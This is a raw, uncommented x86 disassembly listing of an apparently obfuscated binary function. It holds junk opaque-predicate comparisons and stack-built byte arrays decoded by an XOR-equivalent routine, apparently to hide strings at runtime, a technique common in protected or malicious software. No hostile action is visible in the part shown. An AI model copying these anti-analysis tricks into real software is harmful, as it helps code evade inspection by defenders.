lea eax, [ebp - 0xab0]
push eax
call fcn.10046a37
add esp, 0x18
mov dword [ebp - 0x28], 0
jmp 0x100491ff
mov eax, dword [ebp - 0x28]
dec eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jl 0x10049601
mov dword [ebp - 0x988], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x7f0], 0x45a1
jg 0x10049232
mov dword [ebp - 0x798], 1
jmp 0x10049239
and dword [ebp - 0x798], 0
cmp dword [ebp - 0x798], 0x2742
jg 0x10049264
push dword [ebp - 0x28]
lea ecx, [ebp - 0x378]
call fcn.100170ea
cmp dword [eax], 0
je 0x10049264
mov dword [ebp - 0x444], 1
jmp 0x1004926b
and dword [ebp - 0x444], 0
mov eax, dword [ebp - 0x444]
mov dword [ebp - 0x614], eax
mov eax, dword [ebp - 0x614]
mov dword [ebp - 0x44c], eax
push 6
pop eax
sub eax, dword [ebp - 0x44c]
push 4
pop ecx
shl ecx, 0
add eax, dword [ebp + ecx - 0x7f0]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0xc0]
jg 0x100492b4
mov dword [ebp - 0x6fc], 1
jmp 0x100492bb
and dword [ebp - 0x6fc], 0
push 0
lea ecx, [ebp - 0x378]
call fcn.100170ea
mov eax, dword [eax]
cmp eax, dword [ebp - 0x6fc]
jl 0x100492de
mov dword [ebp - 0x454], 1
jmp 0x100492e5
and dword [ebp - 0x454], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7f0]
cmp dword [ebp - 0x454], eax
jl 0x10049306
mov dword [ebp - 0x61c], 1
jmp 0x1004930d
and dword [ebp - 0x61c], 0
push 0
lea ecx, [ebp - 0x378]
call fcn.100170ea
mov ecx, dword [ebp - 0x61c]
cmp ecx, dword [eax]
jge 0x10049330
mov dword [ebp - 0x45c], 1
jmp 0x10049337
and dword [ebp - 0x45c], 0
cmp dword [ebp - 0x45c], 0xffffffff
ja 0x1004934c
mov dword [ebp - 0x770], 1
jmp 0x10049353
and dword [ebp - 0x770], 0
push dword [ebp - 0x28]
lea ecx, [ebp - 0x378]
call fcn.100170ea
mov ecx, dword [ebp - 0x770]
cmp ecx, dword [eax]
jle 0x10049377
mov dword [ebp - 0x354], 1
jmp 0x1004937e
and dword [ebp - 0x354], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x354]
mov dword [ebp + eax - 0xd58], ecx
mov eax, dword [ebp - 0x354]
mov dword [ebp - 0x484], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xc0], 0
jne 0x100493b9
mov dword [ebp - 0x464], 1
jmp 0x100493c0
and dword [ebp - 0x464], 0
mov eax, dword [ebp - 0x464]
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 0x5aa9d242
jne 0x100493e4
mov dword [ebp - 0x8d0], 1
jmp 0x100493eb
and dword [ebp - 0x8d0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc0]
mov dword [ebp - 0xc30], eax
push dword [ebp - 0x28]
lea ecx, [ebp - 0x378]
call fcn.100170ea
cmp dword [eax], 0
jne 0x1004941d
mov dword [ebp - 0x624], 1
jmp 0x10049424
and dword [ebp - 0x624], 0
mov eax, dword [ebp - 0x368]
cmp dword [ebp - 0x624], eax
jle 0x1004943e
mov dword [ebp - 0x848], 1
jmp 0x10049445
and dword [ebp - 0x848], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc0]
mov dword [ebp - 0xc38], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7f0]
mov dword [ebp - 0xc40], eax
mov eax, 0x863f
test eax, eax
jne 0x10049486
cmp dword [ebp - 0x474], 0
jne 0x10049486
and dword [ebp - 0x89c], 0
jmp 0x10049490
mov dword [ebp - 0x89c], 1
push dword [ebp - 0x28]
lea ecx, [ebp - 0x378]
call fcn.100170ea
push dword [ebp - 0x28]
lea ecx, [ebp - 0x378]
call fcn.100170ea
mov esi, eax
push dword [ebp - 0x28]
lea ecx, [ebp - 0x378]
call fcn.100170ea
mov ecx, dword [esi]
mov dword [eax], ecx
mov dword [ebp - 0x988], 0xa5e720f5
push 0
lea ecx, [ebp - 0xab0]
call fcn.100170ea
mov dword [eax], 8
push 8
pop eax
test eax, eax
jl 0x100494f0
mov dword [ebp - 0x46c], 1
jmp 0x100494f7
and dword [ebp - 0x46c], 0
mov eax, dword [ebp - 0x46c]
mov dword [ebp - 0x704], eax
mov eax, dword [ebp - 0x704]
neg eax
jne 0x1004951d
push 3
pop eax
test eax, eax
jne 0x1004951d
and dword [ebp - 0x62c], 0
jmp 0x10049527
mov dword [ebp - 0x62c], 1
mov eax, dword [ebp - 0x474]
cmp dword [ebp - 0x62c], eax
jg 0x10049541
mov dword [ebp - 0x47c], 1
jmp 0x10049548
and dword [ebp - 0x47c], 0
mov eax, dword [ebp - 0x47c]
mov dword [ebp - 0x7b4], eax
mov eax, dword [ebp - 0x7b4]
sub eax, dword [ebp - 0x54]
sub eax, dword [ebp - 0x484]
push 4
pop ecx
imul ecx, ecx, 0
cmp dword [ebp + ecx - 0xc0], eax
jne 0x1004957e
mov dword [ebp - 0x634], 1
jmp 0x10049585
and dword [ebp - 0x634], 0
push dword [ebp - 0x28]
lea ecx, [ebp - 0x378]
call fcn.100170ea
mov ecx, dword [ebp - 0x634]
sub ecx, dword [eax]
imul eax, ecx, 0x845f
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0xc0]
jg 0x100495bc
mov dword [ebp - 0x48c], 1
jmp 0x100495c3
and dword [ebp - 0x48c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc0]
cmp eax, dword [ebp - 0x48c]
jge 0x100495e4
mov dword [ebp - 0x70c], 1
jmp 0x100495eb
and dword [ebp - 0x70c], 0
mov eax, dword [ebp - 0x70c]
add eax, 0x3ac5
mov dword [ebp - 0x358], eax
jmp 0x100491f8
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xab0]
call fcn.100170ce
jmp 0x10048ff0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x378]
call fcn.100170ce
xor ecx, ecx
call fcn.1003045f
push eax
call fcn.10070f28
pop ecx
mov dword [ebp - 0x94], 0xfe0a8eac
mov dword [ebp - 0xc48], 0x6b16
mov dword [ebp - 0xc50], 0xffffffff
mov dword [ebp - 0xc58], 0xffffffff
mov dword [ebp - 0xcb8], 4
mov dword [ebp - 0xcc0], 0xffffffff
mov dword [ebp - 0xce4], 0
mov dword [ebp - 0xce0], 0
mov dword [ebp - 0xcdc], 0
mov dword [ebp - 0xcd8], 0
mov dword [ebp - 0x88], 0
jmp 0x100496af
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 2
jge 0x100496cb
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0xdc8], 0x77dd6887
jmp 0x100496a2
mov dword [ebp - 0x88], 0
jmp 0x100496e4
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 4
jge 0x10049700
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0xe80], 0x53589fe5
jmp 0x100496d7
mov dword [ebp - 0x94], 0
jmp 0x10049719
mov eax, dword [ebp - 0x94]
dec eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0xfffffff1
jg 0x1004972f
cmp dword [ebp - 0x94], 0
je 0x1004972d
jmp 0x1004972f
jmp 0x1004970c
mov dword [ebp - 0x94], 0
jmp 0x10049748
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 1
jg 0x100497f3
mov dword [ebp - 0xcc8], 0xf14c90d2
mov dword [ebp - 0xcd0], 0xfffffffe
mov dword [ebp - 0x8c], 0
jmp 0x10049782
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 2
jge 0x1004979e
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0xda8], 0xd947597a
jmp 0x10049775
mov dword [ebp - 0x8c], 0
jmp 0x100497b7
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 2
jge 0x100497d3
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0xa10], 0x42b4cf22
jmp 0x100497aa
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa10]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xa10], eax
jmp 0x1004973b
mov dword [ebp - 0x78], 0xbea12209
mov dword [ebp - 0xa24], 0x4111d018
mov dword [ebp - 0xa20], 0x4111d018
mov dword [ebp - 0xa1c], 0x4111d018
mov dword [ebp - 0xa18], 0x4111d018
lea ecx, [ebp - 0x335]
call fcn.1000ab93
push eax
lea eax, [ebp - 0xa14]
push eax
lea eax, [ebp - 0xa24]
push eax
lea ecx, [ebp - 0xd68]
call fcn.100170f9
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x82c]
call fcn.100170a8
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x4bc], 0xfffffff8
mov dword [ebp - 0x74], 0
jmp 0x10049878
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 1
jge 0x1004988e
mov eax, dword [ebp - 0x74]
mov dword [ebp + eax*4 - 0x644], 0
jmp 0x10049871
mov dword [ebp - 0x74], 0
jmp 0x1004989e
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 2
jge 0x100498b4
mov eax, dword [ebp - 0x74]
mov dword [ebp + eax*4 - 0x3a8], 0x6a6c65b0
jmp 0x10049897
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0xd00], eax
cmp dword [ebp - 0x78], 0x74a5
jl 0x100498d2
mov dword [ebp - 0x324], 1
jmp 0x100498d9
and dword [ebp - 0x324], 0
push 0
lea ecx, [ebp - 0x82c]
call fcn.100170ea
mov ecx, dword [ebp - 0x324]
mov dword [eax], ecx
mov eax, dword [ebp - 0x78]
cmp eax, dword [ebp - 0x324]
je 0x10049905
mov dword [ebp - 0x494], 1
jmp 0x1004990c
and dword [ebp - 0x494], 0
mov eax, dword [ebp - 0x494]
neg eax
cmp eax, dword [ebp - 0x78]
jl 0x10049925
mov dword [ebp - 0x63c], 1
jmp 0x1004992c
and dword [ebp - 0x63c], 0
cmp dword [ebp - 0x63c], 0xfffffffd
jle 0x10049941
mov dword [ebp - 0x49c], 1
jmp 0x10049948
and dword [ebp - 0x49c], 0
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0x49c], eax
jl 0x1004995f
mov dword [ebp - 0x778], 1
jmp 0x10049966
and dword [ebp - 0x778], 0
cmp dword [ebp - 0x778], 1
jbe 0x1004997b
mov dword [ebp - 0x4a4], 1
jmp 0x10049982
and dword [ebp - 0x4a4], 0
mov eax, 0xa0b8ee41
sub eax, dword [ebp - 0x4a4]
cmp dword [ebp - 0x78], eax
jl 0x1004999e
mov dword [ebp - 0x714], 1
jmp 0x100499a5
and dword [ebp - 0x714], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x644]
dec eax
mov dword [ebp - 0x4ac], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x4ac]
mov dword [ebp + eax - 0x644], ecx
mov eax, dword [ebp - 0x4ac]
cmp eax, dword [ebp - 0x714]
jg 0x100499e6
mov dword [ebp - 0x4b4], 1
jmp 0x100499ed
and dword [ebp - 0x4b4], 0
cmp dword [ebp - 0x4b4], 1
jg 0x10049a02
mov dword [ebp - 0x64c], 1
jmp 0x10049a09
and dword [ebp - 0x64c], 0
mov eax, dword [ebp - 0x64c]
mov dword [ebp - 0x78], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3a8], 0
je 0x10049a50
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3a8]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x4bc], eax
cmp dword [ebp - 0x4bc], 0
je 0x10049a50
mov dword [ebp - 0x77c], 1
jmp 0x10049a57
and dword [ebp - 0x77c], 0
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0x3a8]
push 0
lea ecx, [ebp - 0x82c]
call fcn.100170ea
mov ecx, dword [ebp - 0x77c]
sub ecx, dword [eax]
push 4
pop eax
imul eax, eax, 0
sub ecx, dword [ebp + eax - 0x3a8]
cmp esi, ecx
jle 0x10049a96
mov dword [ebp - 0x4c4], 1
jmp 0x10049a9d
and dword [ebp - 0x4c4], 0
cmp dword [ebp - 0x4c4], 5
jb 0x10049abf
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3a8], 0
jne 0x10049abf
and dword [ebp - 0x654], 0
jmp 0x10049ac9
mov dword [ebp - 0x654], 1
push 3
lea ecx, [ebp - 0x82c]
call fcn.100170ea
mov ecx, dword [ebp - 0x654]
cmp ecx, dword [eax]
je 0x10049aec
mov dword [ebp - 0x4cc], 1
jmp 0x10049af3
and dword [ebp - 0x4cc], 0
mov eax, 0x8726
sub eax, dword [ebp - 0x4cc]
je 0x10049b1c
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3a8], 0
je 0x10049b1c
mov dword [ebp - 0x71c], 1
jmp 0x10049b23
and dword [ebp - 0x71c], 0
push 2
lea ecx, [ebp - 0x82c]
call fcn.100170ea
mov eax, dword [eax]
cmp eax, dword [ebp - 0x71c]
jle 0x10049b46
mov dword [ebp - 0x4d4], 1
jmp 0x10049b4d
and dword [ebp - 0x4d4], 0
push 2
lea ecx, [ebp - 0x82c]
call fcn.100170ea
mov ecx, dword [ebp - 0x4d4]
mov dword [eax], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x82c]
call fcn.100170ce
mov byte [ebp - 0x2ac], 1
mov byte [ebp - 0x2ab], 0x13
mov byte [ebp - 0x2aa], 4
mov byte [ebp - 0x2a9], 0xd
mov byte [ebp - 0x2a8], 0x43
mov byte [ebp - 0x2a7], 0xe4
mov byte [ebp - 0x2a6], 0xa1
mov byte [ebp - 0x2a5], 0x67
mov byte [ebp - 0x2a4], 0x26
mov byte [ebp - 0x2a3], 0xf6
mov byte [ebp - 0x2a2], 0xea
mov byte [ebp - 0x2a1], 0xed
mov byte [ebp - 0x2a0], 0x3c
mov byte [ebp - 0x29f], 0xb1
mov byte [ebp - 0x29e], 0x49
mov byte [ebp - 0x29d], 0x16
mov byte [ebp - 0x29c], 0x4c
mov byte [ebp - 0x29b], 0x11
mov byte [ebp - 0x29a], 0x9f
mov byte [ebp - 0x299], 0xdd
mov byte [ebp - 0x298], 0xd
mov byte [ebp - 0x297], 8
mov byte [ebp - 0x296], 0x7c
mov byte [ebp - 0x295], 0xb3
mov byte [ebp - 0x294], 0xbf
mov byte [ebp - 0x293], 4
mov byte [ebp - 0x292], 0xd5
mov byte [ebp - 0x291], 0xb8
mov byte [ebp - 0x290], 0x21
mov byte [ebp - 0x28f], 0x92
mov byte [ebp - 0x28e], 0xe1
mov byte [ebp - 0x28d], 0x57
mov byte [ebp - 0x28c], 0x91
mov byte [ebp - 0x28b], 0x8a
mov byte [ebp - 0x28a], 7
mov byte [ebp - 0x289], 0x84
mov byte [ebp - 0x288], 0xd
mov byte [ebp - 0x287], 0x2f
mov byte [ebp - 0x286], 0x1d
mov byte [ebp - 0x285], 0x77
mov byte [ebp - 0x284], 0x50
mov byte [ebp - 0x283], 0xc2
mov byte [ebp - 0x282], 0x1c
mov byte [ebp - 0x281], 0x49
mov byte [ebp - 0x280], 0x63
mov byte [ebp - 0x27f], 0xb
mov byte [ebp - 0x27e], 0x63
mov byte [ebp - 0x27d], 0x9c
mov byte [ebp - 0x27c], 0xdb
mov byte [ebp - 0x27b], 0x15
mov byte [ebp - 0x27a], 0xac
mov byte [ebp - 0x279], 0x58
mov byte [ebp - 0x278], 0xfa
mov byte [ebp - 0x277], 0x5e
mov byte [ebp - 0x276], 0x69
mov byte [ebp - 0x275], 0x26
mov byte [ebp - 0x274], 0x9b
mov byte [ebp - 0x273], 0x2d
mov byte [ebp - 0x272], 0x8f
mov byte [ebp - 0x271], 0x91
mov byte [ebp - 0x270], 1
mov byte [ebp - 0x26f], 0x27
mov byte [ebp - 0x26e], 0x98
mov byte [ebp - 0x26d], 0xa5
mov byte [ebp - 0x26c], 0x76
mov byte [ebp - 0x26b], 0x89
mov byte [ebp - 0x26a], 0x3a
mov byte [ebp - 0x269], 0xc9
mov byte [ebp - 0x268], 0xdf
mov byte [ebp - 0x267], 0x80
mov byte [ebp - 0x266], 0x96
mov byte [ebp - 0x265], 0x44
mov byte [ebp - 0x264], 5
mov byte [ebp - 0x263], 9
mov byte [ebp - 0x262], 6
mov byte [ebp - 0x261], 0
mov byte [ebp - 0x260], 0
mov byte [ebp - 0x25f], 0
mov byte [ebp - 0x25e], 9
mov byte [ebp - 0x25d], 1
mov byte [ebp - 0x25c], 2
mov byte [ebp - 0x25b], 7
mov byte [ebp - 0x25a], 7
mov byte [ebp - 0x259], 1
mov byte [ebp - 0x258], 8
mov byte [ebp - 0x257], 6
mov byte [ebp - 0x256], 3
mov byte [ebp - 0x255], 7
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x2ac]
or eax, 0x26
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x2ac]
and ecx, 0x26
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x2ac]
mov byte [ebp + ecx - 0x7dc], al
mov dword [ebp - 0x44], 2
and dword [ebp - 0x180], 0
jmp 0x10049e2a
mov eax, dword [ebp - 0x44]
inc eax
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0x58
jae 0x10049eef
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x2ac]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x44], eax
jne 0x10049e74
mov eax, dword [ebp - 0x44]
movzx eax, byte [ebp + eax - 0x2ac]
inc eax
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x44]
movzx eax, byte [ebp + eax - 0x2ac]
mov ecx, dword [ebp - 0x44]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x44], eax
jmp 0x10049e22
mov eax, dword [ebp - 0x44]
movzx eax, byte [ebp + eax - 0x2ab]
mov ecx, dword [ebp - 0x44]
sub ecx, dword [ebp - 0x180]
movzx ecx, byte [ebp + ecx - 0x2ae]
movsx ecx, byte [ebp + ecx - 0x7dc]
or eax, ecx
mov ecx, dword [ebp - 0x44]
movzx ecx, byte [ebp + ecx - 0x2ab]
mov edx, dword [ebp - 0x44]
sub edx, dword [ebp - 0x180]
movzx edx, byte [ebp + edx - 0x2ae]
movsx edx, byte [ebp + edx - 0x7dc]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x44]
movzx ecx, byte [ebp + ecx - 0x2ac]
mov byte [ebp + ecx - 0x7dc], al
push 0x490d
lea eax, [ebp - 0x180]
push eax
push 1
call fcn.10046b05
add esp, 0xc
jmp 0x10049e22
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x7dc], 0
push 2
lea ecx, [ebp - 0x200]
call fcn.1001704c
mov dword [ebp - 4], 0xe
push 1
lea ecx, [ebp - 0xac8]
call fcn.1001704c
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x4dc], 0x570e81de
mov dword [ebp - 0x9d0], 0x5dd4d14b
mov dword [ebp - 0x4f4], 0x1949f0dc
mov dword [ebp - 0x860], 0xf87b70d8
mov dword [ebp - 0x6c], 0
jmp 0x10049f5a
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 2
jge 0x10049f76
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x200]
call fcn.100170ea
mov dword [eax], 9
jmp 0x10049f53
push 1
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0xac8]
push eax
call fcn.10046b42
add esp, 0xc
mov dword [ebp - 0x6c], 0
jmp 0x10049f9b
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 1
jge 0x10049fb1
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0x35c], 0xfffffffa
jmp 0x10049f94
mov byte [ebp - 0xc9], 0
movzx eax, byte [ebp - 0xc9]
test eax, eax
je 0x10049fd1
push 0
push 0x5e98
call fcn.100475bc
pop ecx
pop ecx
push 0
lea ecx, [ebp - 0xac8]
call fcn.100170ea
mov dword [ebp - 0x65c], eax
push 0
lea ecx, [ebp - 0x200]
call fcn.100170ea
mov ecx, dword [ebp - 0x65c]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x65c]
cmp dword [eax], 0xe7b79f6a
jne 0x1004a015
mov dword [ebp - 0x850], 1
jmp 0x1004a01c
and dword [ebp - 0x850], 0
push 0
lea ecx, [ebp - 0x200]
call fcn.100170ea
mov eax, dword [eax]
inc eax
inc eax
mov dword [ebp - 0x4dc], eax
mov esi, dword [ebp - 0x4dc]
push 0
lea ecx, [ebp - 0x200]
call fcn.100170ea
sub esi, dword [eax]
push 0
lea ecx, [ebp - 0x200]
call fcn.100170ea
sub esi, dword [eax]
push 0
lea ecx, [ebp - 0x200]
call fcn.100170ea
cmp esi, dword [eax]
jge 0x1004a074
mov dword [ebp - 0x784], 1
jmp 0x1004a07b
and dword [ebp - 0x784], 0
push 0
lea ecx, [ebp - 0x200]
call fcn.100170ea
mov ecx, dword [ebp - 0x784]
cmp ecx, dword [eax]
jl 0x1004a0ad
push 1
lea ecx, [ebp - 0x200]
call fcn.100170ea
cmp dword [eax], 0
jne 0x1004a0ad
and dword [ebp - 0x940], 0
jmp 0x1004a0b7
mov dword [ebp - 0x940], 1
push 0
lea ecx, [ebp - 0x200]
call fcn.100170ea
mov eax, 0xfffa
cmp eax, 1
jb 0x1004a0da
mov dword [ebp - 0x4e4], 1
jmp 0x1004a0e1
and dword [ebp - 0x4e4], 0
push 0
lea ecx, [ebp - 0x200]
call fcn.100170ea
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [eax]
je 0x1004a11d
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x35c], 0
je 0x1004a11d
mov eax, 0x324067bc
test eax, eax
je 0x1004a11d
mov dword [ebp - 0x664], 1
jmp 0x1004a124
and dword [ebp - 0x664], 0
push 1
lea ecx, [ebp - 0x200]
call fcn.100170ea
mov ecx, dword [ebp - 0x664]
cmp ecx, dword [eax]
jle 0x1004a147
mov dword [ebp - 0x4ec], 1
jmp 0x1004a14e
and dword [ebp - 0x4ec], 0
push 0
lea ecx, [ebp - 0x200]
call fcn.100170ea
mov eax, dword [eax]
cmp eax, dword [ebp - 0x4ec]
je 0x1004a171
mov dword [ebp - 0x858], 1
jmp 0x1004a178
and dword [ebp - 0x858], 0
push 6
pop eax
imul eax, eax, 0
mov dword [ebp - 0x9d0], eax
mov eax, 0xc705
cmp eax, 0x734e
jge 0x1004a19c
mov dword [ebp - 0x724], 1
jmp 0x1004a1a3
and dword [ebp - 0x724], 0
mov eax, dword [ebp - 0x724]
mov dword [ebp - 0x4f4], eax
cmp dword [ebp - 0x4f4], 0
ja 0x1004a1c4
mov dword [ebp - 0x66c], 1
jmp 0x1004a1cb
and dword [ebp - 0x66c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x35c]
cmp dword [ebp - 0x66c], eax
je 0x1004a1ec
mov dword [ebp - 0x4fc], 1
jmp 0x1004a1f3
and dword [ebp - 0x4fc], 0
mov eax, dword [ebp - 0x4fc]
inc eax
cmp eax, 0x922cbd4d
ja 0x1004a20d
mov dword [ebp - 0x7a0], 1
jmp 0x1004a214
and dword [ebp - 0x7a0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x35c]
cmp dword [ebp - 0x7a0], eax
jle 0x1004a235
mov dword [ebp - 0x504], 1
jmp 0x1004a23c
and dword [ebp - 0x504], 0
cmp dword [ebp - 0x504], 0xe16511c2
ja 0x1004a254
mov dword [ebp - 0x674], 1
jmp 0x1004a25b
and dword [ebp - 0x674], 0
mov eax, dword [ebp - 0x674]
mov dword [ebp - 0x860], eax
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0xac8]
call fcn.100170ce
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x200]
call fcn.100170ce
lea eax, [ebp - 0x7dc]
push eax
lea ecx, [ebp - 0xdf8]
call fcn.10025c47
mov dword [ebp - 0x948], eax
mov eax, dword [ebp - 0x948]
mov dword [ebp - 0x868], eax
mov dword [ebp - 4], 0x10
push 0xa
xor edx, edx
mov ecx, dword [ebp - 0x868]
call fcn.1003041f
pop ecx
mov dword [ebp - 0x8f4], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xdf8]
call fcn.10016fae
and dword [ebp - 0x1d8], 0
jmp 0x1004a2eb
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 0xb
jae 0x1004a304
mov eax, dword [ebp - 0x1d8]
mov byte [ebp + eax - 0x7dc], 0
jmp 0x1004a2de
mov dword [ebp - 0xa4c], 6
mov dword [ebp - 0xa48], 6
mov dword [ebp - 0xa44], 6
mov dword [ebp - 0xa40], 6
lea ecx, [ebp - 0x32d]
call fcn.1000ab93
push eax
lea eax, [ebp - 0xa3c]
push eax
lea eax, [ebp - 0xa4c]
push eax
lea ecx, [ebp - 0xde0]
call fcn.100170f9
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xae0]
call fcn.100170a8
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x104], 0
mov byte [ebp - 0xab], 0
movzx eax, byte [ebp - 0xab]
test eax, eax
je 0x1004a392
push 1
push 0x1ff0
call fcn.10046bae
pop ecx
pop ecx
mov dword [ebp - 0x104], 0
jmp 0x1004a3ab
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 3
jg 0x1004a3e6
push dword [ebp - 0x104]
lea ecx, [ebp - 0xae0]
call fcn.100170ea
cmp dword [eax], 0
je 0x1004a3cc
jmp 0x1004a3e6
push dword [ebp - 0x104]
lea ecx, [ebp - 0xae0]
call fcn.100170ea
cmp dword [eax], 0
je 0x1004a3e4
jmp 0x1004a39e
jmp 0x1004a39e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xae0]
call fcn.100170ce
mov byte [ebp - 0x308], 1
mov byte [ebp - 0x307], 0x9b
mov byte [ebp - 0x306], 0
mov byte [ebp - 0x305], 7
mov byte [ebp - 0x304], 0x46
mov byte [ebp - 0x303], 0xf4
mov byte [ebp - 0x302], 0x12
mov byte [ebp - 0x301], 0xbc
mov byte [ebp - 0x300], 0x58
mov byte [ebp - 0x2ff], 0x91
mov byte [ebp - 0x2fe], 0xe3
mov byte [ebp - 0x2fd], 0x4a
mov byte [ebp - 0x2fc], 0xac
mov byte [ebp - 0x2fb], 0x7b
mov byte [ebp - 0x2fa], 0xd4
mov byte [ebp - 0x2f9], 0x3d
mov byte [ebp - 0x2f8], 0x14
mov byte [ebp - 0x2f7], 0x55
mov byte [ebp - 0x2f6], 0x21
mov byte [ebp - 0x2f5], 0x34
mov byte [ebp - 0x2f4], 0x73
mov byte [ebp - 0x2f3], 0x70
mov byte [ebp - 0x2f2], 0x13
mov byte [ebp - 0x2f1], 0xca
mov byte [ebp - 0x2f0], 0x3f
mov byte [ebp - 0x2ef], 0x60
mov byte [ebp - 0x2ee], 0x5e
mov byte [ebp - 0x2ed], 0xe1
mov byte [ebp - 0x2ec], 0x28
mov byte [ebp - 0x2eb], 0x41
mov byte [ebp - 0x2ea], 0xdc
mov byte [ebp - 0x2e9], 0x2c
mov byte [ebp - 0x2e8], 0x1d
mov byte [ebp - 0x2e7], 0x8b
mov byte [ebp - 0x2e6], 0x15
mov byte [ebp - 0x2e5], 0xeb
mov byte [ebp - 0x2e4], 0x85
mov byte [ebp - 0x2e3], 0x2f
mov byte [ebp - 0x2e2], 0x12
mov byte [ebp - 0x2e1], 0xc3
mov byte [ebp - 0x2e0], 0x78
mov byte [ebp - 0x2df], 0xbb
mov byte [ebp - 0x2de], 0xe3
mov byte [ebp - 0x2dd], 0x7f
mov byte [ebp - 0x2dc], 0x59
mov byte [ebp - 0x2db], 0xd6
mov byte [ebp - 0x2da], 0xda
mov byte [ebp - 0x2d9], 0xb5
mov byte [ebp - 0x2d8], 0x1c
mov byte [ebp - 0x2d7], 0xd0
mov byte [ebp - 0x2d6], 0x51
mov byte [ebp - 0x2d5], 0x2e
mov byte [ebp - 0x2d4], 0x8f
mov byte [ebp - 0x2d3], 0x82
mov byte [ebp - 0x2d2], 0x22
mov byte [ebp - 0x2d1], 0x62
mov byte [ebp - 0x2d0], 0xf6
mov byte [ebp - 0x2cf], 0x5e
mov byte [ebp - 0x2ce], 0xd
mov byte [ebp - 0x2cd], 0x90
mov byte [ebp - 0x2cc], 0xd7
mov byte [ebp - 0x2cb], 0xcb
mov byte [ebp - 0x2ca], 0xaf
